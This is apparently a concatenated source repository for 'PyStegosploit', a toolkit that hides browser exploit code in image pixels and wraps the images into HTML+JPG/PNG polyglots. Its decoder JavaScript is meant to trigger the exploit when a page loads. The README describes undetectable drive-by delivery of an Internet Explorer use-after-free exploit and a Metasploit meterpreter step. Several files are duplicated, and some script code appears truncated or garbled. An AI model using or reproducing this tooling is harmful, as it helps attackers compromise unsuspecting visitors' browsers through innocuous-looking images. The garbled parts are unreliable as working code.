imgsrc.width; 38 | canvas.height = imgsrc.height; 39 | var ctx = canvas.getContext("2d"); 40 | ctx.drawImage(imgsrc, 0, 0); 41 | 42 | // remove the original iamge element 43 | imgsrc.parentNode.removeChild(imgsrc); 44 | 45 | // what we now see is the canvas in place of the image 46 | var pix = ctx.getImageData(0, 0, canvas.width, canvas.height).data; 47 | 48 | var a = [], x = 0, y = 0; 49 | 50 | var getBit = function(pix, x, y) { 51 | n = (y * canvas.width + x) * 4; 52 | var r = (pix[n] & (1 << bitLayer)) >> bitLayer; 53 | var g = (pix[n + 1] & (1 << bitLayer)) >> bitLayer; 54 | var b = (pix[n + 2] & (1 << bitLayer)) >> bitLayer; 55 | 56 | var bit; 57 | 58 | switch(encodingChannel) { 59 | case 0: // red 60 | bit = r; 61 | break; 62 | case 1: // green 63 | bit = g; 64 | break; 65 | case 2: // blue 66 | bit = b; 67 | break; 68 | default: 69 | var mean = (r + g + b) / 3; 70 | bit = Math.round(mean); 71 | } 72 | return(String.fromCharCode(bit + 0x30)); 73 | }; 74 | 75 | var readBitstream = function(len) { 76 | for(var p = 0, j = 0; j < len * 8; j++) { 77 | a[p++] = getBit(pix, x, y); 78 | x += grid; 79 | if(x >= canvas.width) { 80 | x = 0; 81 | y += grid; 82 | } 83 | } 84 | }; 85 | 86 | readBitstream(6); 87 | var len = parseInt(binaryToString(a.join(""))); 88 | readBitstream(len); 89 | 90 | var strData = binaryToString(a.join("")); 91 | 92 | output.value = strData; 93 | md5sum.value = md5(strData); 94 | } 95 | 96 | function binaryToString(binary) { 97 | var str = ""; 98 | for(i = 0; i < binary.length; i += 8) { 99 | var bit = binary.substr(i, 8); 100 | str += String.fromCharCode(parseInt(bit, 2)); 101 | } 102 | return(str); 103 | } 104 | -------------------------------------------------------------------------------- /project-stegosploit/encoding/imagedecode.js: -------------------------------------------------------------------------------- 1 | /* 2 | . . 3 | / `. .' \ 4 | .---. < > < > .---. 5 | | \ \ - ~ ~ - / / | 6 | ~-..-~ ~-..-~ 7 | \~~~\.' stegosploit `./~~~/ 8 | \__/ \__/ 9 | / . -. \ 10 | \~~~\/ { \ .-~ ~-. -._ _._ 11 | \__/ : } { \ ~{ p'-._ 12 | . . |~~. .' \ } \ ) \ ~--'} 13 | \\ // `-..' _ -\ | _\ )__.-~~'=''''' 14 | `-._\\_//__..-' .-~ |\. }~~--~~ \= / \ 15 | ``~---.._ _ _ . - ~ ) /= / /+ / } 16 | /_/ / { } | | 17 | `~---o. `~___o.---' 18 | 19 | Image Decoder Javascript function. 20 | This is the same decoder used in the HTML+Image polyglot 21 | to trigger the exploit code upon document load. 22 | 23 | by Saumil Shah @therealsaumil 24 | */ 25 | 26 | var imageFile, bitLayer, encodingChannel, grid; 27 | 28 | // decodeImageData requires three parameters 29 | // bitLayer - 0-7 the LSB chosen for performing the encoding 30 | // encodingChannel - 0 = R, 1 = G, 2 = B, 3 = All channels 31 | // grid - pixel grid. 1 = 1x1, 2 = 2x2 and so on 32 | function decodeImageData() { 33 | var canvas = document.createElement("canvas"); 34 | 35 | imgsrc.parentNode.insertBefore(canvas, imgsrc); 36 | 37 | canvas.width = imgsrc.width; 38 | canvas.height = imgsrc.height; 39 | var ctx = canvas.getContext("2d"); 40 | ctx.drawImage(imgsrc, 0, 0); 41 | 42 | // remove the original iamge element 43 | imgsrc.parentNode.removeChild(imgsrc); 44 | 45 | // what we now see is the canvas in place of the image 46 | var pix = ctx.getImageData(0, 0, canvas.width, canvas.height).data; 47 | 48 | var a = [], x = 0, y = 0; 49 | 50 | var getBit = function(pix, x, y) { 51 | n = (y * canvas.width + x) * 4; 52 | var r = (pix[n] & (1 << bitLayer)) >> bitLayer; 53 | var g = (pix[n + 1] & (1 << bitLayer)) >> bitLayer; 54 | var b = (pix[n + 2] & (1 << bitLayer)) >> bitLayer; 55 | 56 | var bit; 57 | 58 | switch(encodingChannel) { 59 | case 0: // red 60 | bit = r; 61 | break; 62 | case 1: // green 63 | bit = g; 64 | break; 65 | case 2: // blue 66 | bit = b; 67 | break; 68 | default: 69 | var mean = (r + g + b) / 3; 70 | bit = Math.round(mean); 71 | } 72 | return(String.fromCharCode(bit + 0x30)); 73 | }; 74 | 75 | var readBitstream = function(len) { 76 | for(var p = 0, j = 0; j < len * 8; j++) { 77 | a[p++] = getBit(pix, x, y); 78 | x += grid; 79 | if(x >= canvas.width) { 80 | x = 0; 81 | y += grid; 82 | } 83 | } 84 | }; 85 | 86 | readBitstream(6); 87 | var len = parseInt(binaryToString(a.join(""))); 88 | readBitstream(len); 89 | 90 | var strData = binaryToString(a.join("")); 91 | 92 | output.value = strData; 93 | md5sum.value = md5(strData); 94 | } 95 | 96 | function binaryToString(binary) { 97 | var str = ""; 98 | for(i = 0; i < binary.length; i += 8) { 99 | var bit = binary.substr(i, 8); 100 | str += String.fromCharCode(parseInt(bit, 2)); 101 | } 102 | return(str); 103 | } 104 | -------------------------------------------------------------------------------- /stego/static/js/histogram.js: -------------------------------------------------------------------------------- 1 | /* 2 | . . 3 | / `. .' \ 4 | .---. < > < > .---. 5 | | \ \ - ~ ~ - / / | 6 | ~-..-~ ~-..-~ 7 | \~~~\.' stegosploit `./~~~/ 8 | \__/ \__/ 9 | / . -. \ 10 | \~~~\/ { \ .-~ ~-. -._ _._ 11 | \__/ : } { \ ~{ p'-._ 12 | . . |~~. .' \ } \ ) \ ~--'} 13 | \\ // `-..' _ -\ | _\ )__.-~~'=''''' 14 | `-._\\_//__..-' .-~ |\. }~~--~~ \= / \ 15 | ``~---.._ _ _ . - ~ ) /= / /+ / } 16 | /_/ / { } | | 17 | `~---o. `~___o.---' 18 | 19 | 20 | Draw a histogram in a canvas. Takes a source canvas, calculates the frequency of RGB 21 | from it and then draws a histogram in the target canvas. 22 | 23 | by Saumil Shah @therealsaumil 24 | */ 25 | 26 | var maxColourFrequency = 0; 27 | 28 | function drawHistogram(srcCanvas, histogram) { 29 | var srcContext = srcCanvas.getContext('2d'); 30 | var srcImg = srcContext.getImageData(0, 0, srcCanvas.width, srcCanvas.height); 31 | var pixData = srcImg.data; 32 | 33 | var reds = new Array(256); 34 | var greens = new Array(256); 35 | var blues = new Array(256); 36 | 37 | histogram.width = srcCanvas.width; 38 | histogram.height = srcCanvas.height; 39 | histogram.style.border = "1px solid black"; 40 | 41 | var xScaleFactor = srcCanvas.width / 256; 42 | 43 | var maxred = 0, maxgreen = 0, maxblue = 0; 44 | 45 | var histogramContext = histogram.getContext('2d'); 46 | histogramContext.clearRect(0, 0, histogram.width, histogram.height); 47 | histogramContext.scale(xScaleFactor, 1); 48 | 49 | // initialize the histogram 50 | for(var i = 0; i < 256; i++) { 51 | reds[i] = 0; 52 | greens[i] = 0; 53 | blues[i] = 0; 54 | } 55 | 56 | for(var i = 0; i < pixData.length; i += 4) { 57 | var r = pixData[i]; 58 | var g = pixData[i + 1]; 59 | var b = pixData[i + 2]; 60 | 61 | if(r > 0) { 62 | maxred = ++reds[r] > maxred ? reds[r] : maxred; 63 | } 64 | if(g > 0) { 65 | maxgreen = ++greens[g] > maxgreen ? greens[g] : maxgreen; 66 | } 67 | if(b > 0) { 68 | maxblue = ++blues[b] > maxblue ? blues[b] : maxblue; 69 | } 70 | } 71 | maxColourFrequency = maxred > maxColourFrequency ? maxred : maxColourFrequency; 72 | maxColourFrequency = maxgreen > maxColourFrequency ? maxgreen : maxColourFrequency; 73 | maxColourFrequency = maxblue > maxColourFrequency ? maxblue : maxColourFrequency; 74 | 75 | // now draw the bars on the canvas 76 | histogramContext.globalAlpha = 0.66667; 77 | 78 | // first the blues 79 | histogramContext.fillStyle = "#0000FF"; 80 | for(var i = 0; i < 256; i++) { 81 | var height = Math.round(blues[i] * histogram.height / maxColourFrequency); 82 | histogramContext.fillRect(i, histogram.height, 1, -height); 83 | } 84 | 85 | // then the greens 86 | histogramContext.fillStyle = "#00FF00"; 87 | for(var i = 0; i < 256; i++) { 88 | var height = Math.round(greens[i] * histogram.height / maxColourFrequency); 89 | histogramContext.fillRect(i, histogram.height, 1, -height); 90 | } 91 | 92 | // lastly the reds 93 | histogramContext.fillStyle = "#FF0000"; 94 | for(var i = 0; i < 256; i++) { 95 | var height = Math.round(reds[i] * histogram.height / maxColourFrequency); 96 | histogramContext.fillRect(i, histogram.height, 1, -height); 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /project-stegosploit/encoding/histogram.js: -------------------------------------------------------------------------------- 1 | /* 2 | . . 3 | / `. .' \ 4 | .---. < > < > .---. 5 | | \ \ - ~ ~ - / / | 6 | ~-..-~ ~-..-~ 7 | \~~~\.' stegosploit `./~~~/ 8 | \__/ \__/ 9 | / . -. \ 10 | \~~~\/ { \ .-~ ~-. -._ _._ 11 | \__/ : } { \ ~{ p'-._ 12 | . . |~~. .' \ } \ ) \ ~--'} 13 | \\ // `-..' _ -\ | _\ )__.-~~'=''''' 14 | `-._\\_//__..-' .-~ |\. }~~--~~ \= / \ 15 | ``~---.._ _ _ . - ~ ) /= / /+ / } 16 | /_/ / { } | | 17 | `~---o. `~___o.---' 18 | 19 | 20 | Draw a histogram in a canvas. Takes a source canvas, calculates the frequency of RGB 21 | from it and then draws a histogram in the target canvas. 22 | 23 | by Saumil Shah @therealsaumil 24 | */ 25 | 26 | var maxColourFrequency = 0; 27 | 28 | function drawHistogram(srcCanvas, histogram) { 29 | var srcContext = srcCanvas.getContext('2d'); 30 | var srcImg = srcContext.getImageData(0, 0, srcCanvas.width, srcCanvas.height); 31 | var pixData = srcImg.data; 32 | 33 | var reds = new Array(256); 34 | var greens = new Array(256); 35 | var blues = new Array(256); 36 | 37 | histogram.width = srcCanvas.width; 38 | histogram.height = srcCanvas.height; 39 | histogram.style.border = "1px solid black"; 40 | 41 | var xScaleFactor = srcCanvas.width / 256; 42 | 43 | var maxred = 0, maxgreen = 0, maxblue = 0; 44 | 45 | var histogramContext = histogram.getContext('2d'); 46 | histogramContext.clearRect(0, 0, histogram.width, histogram.height); 47 | histogramContext.scale(xScaleFactor, 1); 48 | 49 | // initialize the histogram 50 | for(var i = 0; i < 256; i++) { 51 | reds[i] = 0; 52 | greens[i] = 0; 53 | blues[i] = 0; 54 | } 55 | 56 | for(var i = 0; i < pixData.length; i += 4) { 57 | var r = pixData[i]; 58 | var g = pixData[i + 1]; 59 | var b = pixData[i + 2]; 60 | 61 | if(r > 0) { 62 | maxred = ++reds[r] > maxred ? reds[r] : maxred; 63 | } 64 | if(g > 0) { 65 | maxgreen = ++greens[g] > maxgreen ? greens[g] : maxgreen; 66 | } 67 | if(b > 0) { 68 | maxblue = ++blues[b] > maxblue ? blues[b] : maxblue; 69 | } 70 | } 71 | maxColourFrequency = maxred > maxColourFrequency ? maxred : maxColourFrequency; 72 | maxColourFrequency = maxgreen > maxColourFrequency ? maxgreen : maxColourFrequency; 73 | maxColourFrequency = maxblue > maxColourFrequency ? maxblue : maxColourFrequency; 74 | 75 | // now draw the bars on the canvas 76 | histogramContext.globalAlpha = 0.66667; 77 | 78 | // first the blues 79 | histogramContext.fillStyle = "#0000FF"; 80 | for(var i = 0; i < 256; i++) { 81 | var height = Math.round(blues[i] * histogram.height / maxColourFrequency); 82 | histogramContext.fillRect(i, histogram.height, 1, -height); 83 | } 84 | 85 | // then the greens 86 | histogramContext.fillStyle = "#00FF00"; 87 | for(var i = 0; i < 256; i++) { 88 | var height = Math.round(greens[i] * histogram.height / maxColourFrequency); 89 | histogramContext.fillRect(i, histogram.height, 1, -height); 90 | } 91 | 92 | // lastly the reds 93 | histogramContext.fillStyle = "#FF0000"; 94 | for(var i = 0; i < 256; i++) { 95 | var height = Math.round(reds[i] * histogram.height / maxColourFrequency); 96 | histogramContext.fillRect(i, histogram.height, 1, -height); 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /python-code/modules/pngdata.py: -------------------------------------------------------------------------------- 1 | ''' 2 | program: pngdata.py 3 | 4 | Description: A port of the PNGDATA.pm module 5 | ''' 6 | 7 | import binascii 8 | import struct 9 | 10 | # conditional module export 11 | if __name__ == '__main__': 12 | from crc32 import CRC32 13 | else: 14 | from .crc32 import CRC32 15 | 16 | class PNG: 17 | ''' 18 | Function to read PNG file in chunks and create 19 | a PNG array 20 | 21 | Input: entire png file 22 | Output: array of png chunks 23 | ''' 24 | def read(data): 25 | pngChunks = [] 26 | 27 | header = PNG.getHeader(data) 28 | pngChunks.append(header) 29 | data = data[8:] # remove header bytes from data 30 | 31 | while len(data) > 0: 32 | length = int.from_bytes(data[0:4], byteorder='big') # 4 bytes 33 | chunkType = data[4:8] 34 | chunkData = data[8:length+8] 35 | crc = data[length+8:length+12] 36 | 37 | chunk = [length, chunkType, chunkData, crc] 38 | pngChunks.append(chunk) 39 | 40 | chunkSize = 12+length 41 | data = data[chunkSize:] # remove the chunk from data 42 | 43 | return pngChunks 44 | 45 | ''' 46 | function to print the PNG data from chunk array 47 | 48 | INPUT: png_chunks: array of PNG chunks 49 | OUTPUT: nothing 50 | ''' 51 | def printPngData(chunks): 52 | PNG.printHeader(chunks[0]) 53 | chunks = chunks[1:] # truncate chunks 54 | for c in chunks: 55 | PNG.printChunk(c) 56 | 57 | ''' 58 | Get the PNG header 59 | ''' 60 | def getHeader(data): 61 | return data[:8] # PNGs contain an 8-byte header 62 | 63 | def printHeader(header): 64 | # Check if the header matches the magic numbers 65 | status = 'OK!' 66 | if header != b'\x89PNG\r\n\x1a\n': 67 | status = 'Error' 68 | 69 | print('PNG Header: %s - %s' % (header, status)) 70 | 71 | 72 | ''' 73 | Function to print a png chunk 74 | 75 | Input: PNG chunk 76 | format: [length, chunkType, chunkData, crc] 77 | Output: Nothing 78 | ''' 79 | def printChunk(chunk): 80 | length = chunk[0] # stored as int 81 | chunkType = chunk[1] 82 | chunkData = chunk[2] 83 | crc = int.from_bytes(chunk[3],'big') # stored as int 84 | 85 | crc32 = CRC32() 86 | crc32.add(chunkType+chunkData) 87 | computedCrc = crc32.result() 88 | 89 | status = 'OK' 90 | if computedCrc != crc: 91 | status = 'Error' 92 | 93 | print('%s %d bytes CRC: %#010x (computed %#010x) - %s)' % (chunkType, length, crc, computedCrc, status)) 94 | 95 | ''' 96 | INPUT: Name (bytes string) 97 | Value (bytes string) 98 | OUTPUT: chunk 99 | ''' 100 | def makeTextChunk(name, value): 101 | chunkType = b'tEXt' 102 | 103 | data = name + b'\x00' + value 104 | length = len(data) 105 | data = chunkType + data # Prepend the chunk type 106 | 107 | crc32 = CRC32() 108 | crc32.add(data) 109 | crc = crc32.result() 110 | 111 | crc = struct.pack('>l',crc) # Pack crc into 4 big-endian bytes 112 | length = struct.pack('>l',length) # Pack length into 4 big-endian bytes 113 | chunk = length + data + crc 114 | return(chunk) 115 | 116 | def makeIendChunk(): 117 | length = struct.pack('>l',0) 118 | crc = b'\xAE\x42\x60\x82' 119 | chunk = length + b'IEND' + crc 120 | return chunk 121 | 122 | def main(): 123 | with open('../anon.png', 'rb') as file: 124 | data=file.read() 125 | 126 | # test getHeader(), printHeader() 127 | header = PNG.getHeader(data) 128 | PNG.printHeader(header) 129 | 130 | # test read(), printChunk() 131 | chunks = PNG.read(data) 132 | PNG.printChunk(chunks[1]) 133 | PNG.printPngData(chunks) 134 | 135 | # Test makeTextChunk() 136 | textChunk = PNG.makeTextChunk(b'name',b'value') 137 | textChunk = PNG.read(header+textChunk) # add header, read into chunk 138 | PNG.printChunk(textChunk[1]) 139 | 140 | # test makeIendChunk() 141 | iendChunk = PNG.makeIendChunk() 142 | iendChunk = PNG.read(header+iendChunk) # add header, read into chunk 143 | PNG.printChunk(iendChunk[1]) 144 | 145 | if __name__ == '__main__': 146 | main() -------------------------------------------------------------------------------- /python-code/html_in_jpg_ie.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | ''' 4 | Creates and HTML+JPG polyglot for Internet Explorer 5 | ''' 6 | 7 | import argparse 8 | import re 9 | import random 10 | 11 | RANDOM_DATA_SIZE = 1900 12 | 13 | STEGO = """ 14 | . . 15 | / `. .' \\ 16 | .---. < > < > .---. 17 | | \\ \\ - ~ ~ - / / | 18 | ~-..-~ ~-..-~ 19 | \\~~~\\.' stegosploit `./~~~/ 20 | \\__/ imajs \\__/ 21 | / . -. \\ 22 | \\~~~\\/ { \\ .-~ ~-. -._ _._ 23 | \\__/ : } { \\ ~{ p'-._ 24 | . . |~~. .' \\ } \\ ) \\ ~--'} 25 | \\\\ // `-..' _ -\\ | _\\ )__.-~~'=''''' 26 | `-._\\\\_//__..-' .-~ |\\. }~~--~~ \\= / \\ 27 | ``~---.._ _ _ . - ~ ) /= / /+ / } 28 | /_/ / { } | | 29 | `~---o. `~___o.---' 30 | """ 31 | 32 | 33 | def genRandomHTMLChar(): 34 | while True: 35 | x = random.randint(0,255) 36 | if x != 0 and x!=ord('<') and x!=ord('>') and x!=ord('/'): 37 | return x 38 | 39 | def main(): 40 | print(STEGO) # print the stego 41 | 42 | description = 'Creates and HTML+JPG polyglot for Internet Explorer.' 43 | parser = argparse.ArgumentParser(description = description) 44 | parser.add_argument('htmlfile', 45 | type=argparse.FileType('r'), 46 | nargs='?', # REMOVE ME: sets the arg optional 47 | help='HTML file name') 48 | 49 | parser.add_argument('jpgfile', 50 | type=argparse.FileType('rb'), 51 | nargs='?', # REMOVE ME 52 | help='JPG file name') 53 | 54 | parser.add_argument('output', 55 | type=argparse.FileType('wb'), 56 | nargs='?', # REMOVE ME 57 | help='Output file name') 58 | args = parser.parse_args() 59 | 60 | htmlData = 'hello' # FIXME 61 | if args.htmlfile: 62 | htmlData = args.htmlfile.read() 63 | htmlData = htmlData.rstrip() # remove trailing whitespace 64 | 65 | jpgData = open('anon.jpg','rb').read() # FIXME 66 | if args.jpgfile: 67 | jpgData = args.jpgfile.read() 68 | 69 | jpgStart = jpgData[:4] # read the first 4 bytes (Magic # = 0xFFD8FFE0) 70 | jfifapp0 = jpgData[6:20] # from JFIF to offset 20 71 | restOfJpg = jpgData[20:] # read the rest of the file 72 | 73 | jpgData = None # remove jpgData from cache for performance 74 | 75 | # print('',jpgStart,'\n',jfifapp0,'\n',restOfJpg) 76 | 77 | html = '' 79 | 80 | # remove , and tags 81 | # from the html 82 | htmlTags = re.compile('') 83 | headTags = re.compile('') 84 | metaTags = re.compile(']*>') 85 | 86 | htmlData = re.sub(htmlTags,'',htmlData) 87 | # htmlData = re.sub(headTags,'',htmlData) 88 | # htmlData = re.sub(metaTags,'',htmlData) 89 | 90 | content += htmlData + ''.encode() 114 | 115 | print(newJpg) # Output to file 116 | 117 | if __name__ == '__main__': 118 | main() -------------------------------------------------------------------------------- /imajs/html_in_png.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # . . 4 | # / `. .' \ 5 | # .---. < > < > .---. 6 | # | \ \ - ~ ~ - / / | 7 | # ~-..-~ ~-..-~ 8 | # \~~~\.' stegosploit `./~~~/ 9 | # \__/ \__/ 10 | # / . -. \ 11 | # \~~~\/ { \ .-~ ~-. -._ _._ 12 | # \__/ : } { \ ~{ p'-._ 13 | # . . |~~. .' \ } \ ) \ ~--'} 14 | # \\ // `-..' _ -\ | _\ )__.-~~'=''''' 15 | # `-._\\_//__..-' .-~ |\. }~~--~~ \= / \ 16 | # ``~---.._ _ _ . - ~ ) /= / /+ / } 17 | # /_/ / { } | | 18 | # `~---o. `~___o.---' 19 | # 20 | # 21 | # by Saumil Shah @therealsaumil 22 | # 23 | # This script creates an HTML+PNG polyglot 24 | # 25 | # Requires PNGDATA.pm, CRC32.pm 26 | 27 | use FindBin; 28 | use lib $FindBin::Bin; 29 | use PNGDATA; 30 | 31 | $| = 1; 32 | 33 | $RANDOM_DATA_SIZE = 1900; 34 | 35 | $htmlfile = $ARGV[0]; 36 | $pngfile = $ARGV[1]; 37 | $outfile = $ARGV[2]; 38 | 39 | print <<"EOT"; 40 | 41 | . . 42 | / `. .' \\ 43 | .---. < > < > .---. 44 | | \\ \\ - ~ ~ - / / | 45 | ~-..-~ ~-..-~ 46 | \\~~~\\.' stegosploit `./~~~/ 47 | \\__/ imajs \\__/ 48 | / . -. \\ 49 | \\~~~\\/ { \ .-~ ~-. -._ _._ 50 | \\__/ : } { \\ ~{ p'-._ 51 | . . |~~. .' \\ } \\ ) \\ ~--'} 52 | \\\\ // `-..' _ -\\ | _\\ )__.-~~'=''''' 53 | `-._\\\\_//__..-' .-~ |\\. }~~--~~ \\= / \\ 54 | ``~---.._ _ _ . - ~ ) /= / /+ / } 55 | /_/ / { } | | 56 | `~---o. `~___o.---' 57 | 58 | EOT 59 | 60 | if($#ARGV < 2) { 61 | print "Usage: $0 \n"; 62 | exit; 63 | } 64 | 65 | local $/; 66 | 67 | $htmldata = ""; 68 | 69 | if($htmlfile ne '-') { 70 | open(HTMLFILE, $htmlfile) || die("Cannot open $htmlfile\n"); 71 | $htmldata = ; 72 | close(HTMLFILE); 73 | } 74 | 75 | $htmldata =~ s/[\r\n]+$//; # remove trailing newline characters 76 | 77 | open(PNGFILE, $pngfile) || die("Cannot open $pngfile\n"); 78 | $pngdata = ; 79 | close(PNGFILE); 80 | 81 | my @png = (); 82 | 83 | @png = PNGDATA::read_png($pngdata); 84 | 85 | # insert a tEXt chunk with an HTML comment 86 | # after the PNG header and the IHDR chunk 87 | # i.e. as the 3rd array element 88 | $open_comment = PNGDATA::make_text_chunk("", "" . $htmldata . "
""" 52 | # decoder=b"""
""" 53 | html = b''+decoder+b'') 166 | 167 | outfile.close() 168 | infile.close() 169 | 170 | def bits(debug=True): 171 | infile = open('out2.jpg','rb') 172 | 173 | prevByte = infile.read(1) 174 | while True: 175 | curByte = infile.read(1) 176 | if not curByte: 177 | break 178 | 179 | # Start of scan (SOS) 180 | if 0xff in prevByte and 0xda in curByte: 181 | sosLen = struct.unpack('>H',infile.read(2))[0] 182 | data = infile.read(sosLen-2) 183 | if debug: 184 | print('Start of scan (SOS)') 185 | print(data,'\n') 186 | infile.seek(-2,1) 187 | break 188 | 189 | while True: 190 | 191 | # NOTE: The actual image data is between the SOS and 192 | # the end of frame marker 193 | 194 | 195 | # End of frame marker 196 | if 0xff in prevByte and 0xd9 in curByte: 197 | print(prevByte, curByte) 198 | print('end') 199 | 200 | prevByte = curByte 201 | 202 | infile.close() 203 | 204 | 205 | 206 | 207 | 208 | def test(): 209 | var= b'\xff\xd9' 210 | if 0xff in var: 211 | print(var) 212 | 213 | def read(fname='out2.jpg'): 214 | file = open(fname, 'rb') 215 | while True: 216 | data = file.read(16) 217 | if not data: 218 | break 219 | print(data) 220 | 221 | def main(): 222 | Polyglot().create() 223 | # Polyglot.bits() 224 | 225 | if __name__ == '__main__': 226 | main() 227 | # read() 228 | # test() -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PyStegosploit - Exploit Delivery via Steganography and Polyglots 2 | 3 | [[video1](https://www.youtube.com/watch?v=O9vSSQIZPlI)] | [[video2](https://www.youtube.com/watch?v=fAyuOhB4uvo)] | [[page](https://stegosploit.info/#22-steganographically-encoding-the-exploit-code)] 4 | 5 | by Charmve - yidazhang1 [at] gmail[dot]com, [@Charmve](https://github.com/Charmve) [@therealsaumil](https://twitter.com/therealsaumil) [@amichael](https://github.com/amichael7) 6 | 7 | May 2021 8 | 9 | ![stego_imajs.png](stego/static/img/stego_imajs.png) 10 | 11 | Stegosploit creates a new way to encode "drive-by" browser exploits and deliver them through image files. These payloads are undetectable using current means. This paper discusses two broad underlying techniques used for image based exploit delivery - Steganography and Polyglots. Drive-by browser exploits are steganographically encoded into JPG and PNG images. The resultant image file is fused with HTML and Javascript decoder code, turning it into an HTML+Image polyglot. The polyglot looks and feels like an image, but is decoded and triggered in a victim's browser when loaded. 12 | 13 | 14 | ## A Tour of the Stegosploit Toolkit [1] 15 | 16 |

Stegosploit comprises of tools that let a user analyse images, steganographically encode exploit data onto JPG and PNG files, and turn the encoded images into polyglot files that can be rendered as HTML or executed as Javascript.

17 | 18 |

The current version of Stegosploit is 0.2 and can be found in Issue 0x08 of the International Journal of Proof-of-Concept or Get The Fuck Out (Poc||GTFO). Note that you will have to read through the end of the article in PoC||GTFO to find the hint on how to extract the toolkit.

19 | 20 | ### 🔍 Browse Folders 21 | - 📄 README.md 22 | - 📄 copying.txt - WTFPL 23 | - 📁 stego/ 24 | - 📄 image_layer_analysis.html - Analyse an image's bit layers 25 | - 📄 iterative_encoding.html - Encode an exploit onto a JPG or PNG image 26 | - 📄 imagedecoder.html - Decode a steganographically encoded image 27 | - 📄 imagedecode.js 28 | - 📄 histogram.js 29 | - 📄 md5.js 30 | - 📄 base64.js 31 | - 📁 exploits/ 32 | - 📄 exploits.js - Canned exploit code 33 | - 📄 decoder_cve_2014_0282.html - Decoder code + CVE-2014-0282 HTML elements 34 | - 📁 imajs/ 35 | - 📄 html_in_jpg_ie.pl - Generate JPG+HTML polyglot for IE 36 | - 📄 html_in_jpg_ff.pl - Generate JPG+HTML polyglot for Firefox 37 | - 📄 html_in_png.pl - Generate a PNG+HTML polyglot (for any browser) 38 | - 📄 pngenum.pl - Enumerate a PNG file's FourCC chunks 39 | - 📄 jpegdump.c - Enumerate a JPG file's segments 40 | - 📄 CRC32.pm 41 | - 📄 PNGDATA.pm 42 | - ★ 📁 project-stegosploit/ - Core Part [video show 1](https://www.youtube.com/watch?v=O9vSSQIZPlI) | [text show 1](https://stegosploit.info/#22-steganographically-encoding-the-exploit-code) 43 | - 📁 encoding/ - core 44 | - 📄 iterative_encoding.html - Steganographically Encoding the Exploit Code 45 | - 📄 image_layer_analysis.html 46 | - 📄 imagedevoder.html 47 | - 📄 decode_and_run_cinput_withjs.html 48 | - 📁 exploits/ - decoder.html 49 | - 📁 images/ - encoded and original images 50 | - 📁 polyglots/ - lena_poly_demo.html 51 | - 📁 scripts/ - Creates an HTML+PNG polyglot ``polyglot_with_jpg.py`` 52 | - 📁 tmp/ run ``--/tools/msf4$ ./msfconsole -r ./tmp/load_meterpreter.rc`` [video show 2](https://www.youtube.com/watch?v=fAyuOhB4uvo) 53 | - 📄 README.md - Show how to use this project-stegosploit 54 | 55 |

jpegdump.c is written by Ralph Giles and can be downloaded from https://svn.xiph.org/experimental/giles/jpegdump.c

56 | 57 | In this repo, importantly, ``project-stegosploit`` is key part, which show how to hidden Exploit Code into image, to encode/decode, and to execute the meterpreter framework. 58 | 59 | ## 🔧 How Stegosploit Works 60 | 61 | The exploit code is inserted within the pixels of the image so that the image contains the exploit code. IMAJS then creates a polyglot image that will be read as an image and contains a decoder that will extract and run the javascript exploit. 62 | 63 | The exploit that we will use is an Internet Explorer Use-after-free exploit ([CVE-2014-0282](https://nvd.nist.gov/vuln/detail/CVE-2014-0282)). 64 | 65 | ## 🔨 Requirements 66 | 67 | - Ubuntu 18.04 / Kali / Debian 9 68 | - web service - ``python -m http.server 8000`` 69 | - Metasploit Framework - [How to Install](https://computingforgeeks.com/how-to-install-metasploit-framework-on-ubuntu-18-04-debian-9/) 70 | 71 | ![msfconsole.png](stego/static/img/msfconsole.png) 72 | 73 | ## 📆 What we have done so far 74 | 75 | __Highlights:__ 76 | 77 | * The server can serve images to the VM over `10.0.2.2:5000` 78 | * The jpg.py program can build a polyglot file (valid `.html` and `.jpg`) 79 | 80 | ## 📝 Checklist 81 | 82 | - [X] Refactor `CRC32.pm` 83 | - [X] Refactor `PNGDATA.pm` 84 | - [ ] Refactor `html_in_jpg_ie.pl` 85 | - [X] Refactor `pngenum.pl` 86 | 87 | - [ ] Demo Server 88 | - [X] Move all static exploit files in demo pages to `/static` 89 | - [ ] Make sure all static files are passed parsed using `template_render` 90 | - [ ] Add an image picker for the image_layer_analysis.html \(Optional\) 91 | 92 | ## ✨ Related Works *Stegosploit* 93 | 94 | My repo 95 | 96 | - [steganography.js](https://github.com/Charmve/xss-test) - Hide secret messages with JavaScript with steganography.js https://charmve.github.io/xss-test/examples/showcase/ 97 | - [StegaStamp-plus](https://github.com/Charmve/StegaStamp-plus) - Improved the original repo, 'Invisible Hyperlinks in Physical Photographs', without datasets and training parameters 98 | 99 | ## ❕ Disclaimer 100 | - This repo follows the GPL open source agreement, please be sure to understand. 101 | 102 | - We strictly prohibit all acts that violate any national laws through this program, please use this program within the legal scope. 103 | 104 | - By default, using this item will be deemed as your agreement to our rules. Please be sure to abide by the moral and legal standards. 105 | 106 | - If you do not comply, you will be responsible for the consequences, and the author will not bear any responsibility! 107 | 108 | 109 | ## 📎 References 110 | 111 | [1] https://stegosploit.info/ 112 | 113 | [2] https://conference.hitb.org/hitbsecconf2015ams/sessions/stegosploit-hacking-with-pictures/ 114 | 115 | [3] https://www.vulnerability-db.com/?q=articles/2015/06/17/exploit-delivery-steganography-using-stegosploit-tool-v02 116 | 117 | [4] https://www.blackhat.com/docs/eu-15/materials/eu-15-Shah-Stegosploit-Exploit-Delivery-With-Steganography-And-Polyglots.pdf 118 | 119 | [5] https://stackoverflow.com/questions/4110964/how-does-heap-spray-attack-work 120 | 121 | [6] https://www.youtube.com/watch?time_continue=1&v=6lYUtIZHlJA 122 | 123 | [7] https://www.owasp.org/images/0/01/OWASL_IL_2010_Jan_-_Moshe_Ben_Abu_-_Advanced_Heapspray.pdf 124 | 125 | [8] https://en.wikipedia.org/wiki/Heap_spraying 126 | 127 | [9] https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/ 128 | 129 | ## 🎧 Related job 130 | 131 | [video](https://www.youtube.com/watch?v=6lYUtIZHlJA&t=281s) 132 | 133 | ## ✉️ Contact 134 | 135 | yidazhang1[#]gmail[dot]com 136 | 137 |
138 |
139 | Zhang Wei (Charmve) 140 |
